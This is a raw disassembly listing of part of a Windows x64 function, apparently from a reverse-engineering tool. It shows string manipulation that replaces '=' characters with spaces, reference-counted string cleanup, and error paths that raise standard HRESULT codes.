call fcn.140129cd8
sub eax, edi
cmp eax, ebx
jl 0x14000ff50
test r14b, r14b
je 0x14000ffad
cmp ebx, dword [rdi - 0xc]
jg 0x140010305
mov dword [rdi - 0x10], ebx
mov byte [rbx + rdi], r13b
xor r14b, r14b
movsxd rbx, dword [rdi - 0x10]
mov eax, r13d
test ebx, ebx
jle 0x14001001d
nop dword [rax + rax]
movsxd rsi, eax
lea rcx, [rsi + rdi]
cmp byte [rcx], 0x3d
jne 0x14000fffd
test r14b, r14b
jne 0x14000fff6
mov r14b, 1
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, ebx
or eax, ecx
jge 0x14000fff6
mov edx, ebx
lea rcx, [rsp + 0x68]
call fcn.14004b070
mov rdi, qword [rsp + 0x68]
lea rcx, [rsi + rdi]
mov byte [rcx], 0x20
call fcn.140129cd8
sub eax, edi
cmp eax, ebx
jl 0x14000ffc0
test r14b, r14b
je 0x14001001d
cmp ebx, dword [rdi - 0xc]
jg 0x140010305
mov dword [rdi - 0x10], ebx
mov byte [rbx + rdi], r13b
lea rcx, [rsp + 0x68]
call fcn.14004b6f0
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x18], rax
mov rdi, qword [rsp + 0x68]
lea rcx, [rdi - 0x18]
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xc0], rax
mov rcx, qword [r12]
sub rcx, 0x18
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xc8], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xc8]
call fcn.140007bc0
nop
mov eax, r15d
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x140010093
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1400100d1
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400100cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400102ff
call fcn.1400ff058
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140010128
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010123
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010310
call fcn.1400ff058
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp - 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140010160
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001017f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400101b6
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400101b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400101f7
call fcn.1400ff058
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [r12]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r15d
sub r15d, 1
jg 0x1400101e3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
add rsp, 0x528
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14011023c
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
call fcn.1401103c8
mov dword [rax], 0x16
call fcn.14011021c
mov ecx, 0x80070057
call fcn.14001eeb0
int3
call fcn.1401103c8
mov dword [rax], 0x16
call fcn.14011021c
mov ecx, 0x80070057
call fcn.14001eeb0
int3
call fcn.1401103c8
mov dword [rax], 0x16
call fcn.14011021c
mov ecx, 0x80070057
call fcn.14001eeb0
int3
call fcn.1401103c8
mov dword [rax], 0x16
call fcn.14011021c
mov ecx, 0x80070057
call fcn.14001eeb0
nop
call fcn.1401103c8
mov dword [rax], 0x22
jmp 0x1400102a2
call fcn.1401103c8
mov dword [rax], 0x16
call fcn.14011021c
mov ecx, 0x80070057
call fcn.14001eeb0
int3
mov ecx, 0x80070057
call fcn.14001eeb0
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
mov ecx, 0x80004005
call fcn.14001eeb0
nop
call fcn.14011023c
nop
mov ecx, 0x80070057
call fcn.14001eeb0
nop
call fcn.14011023c
int3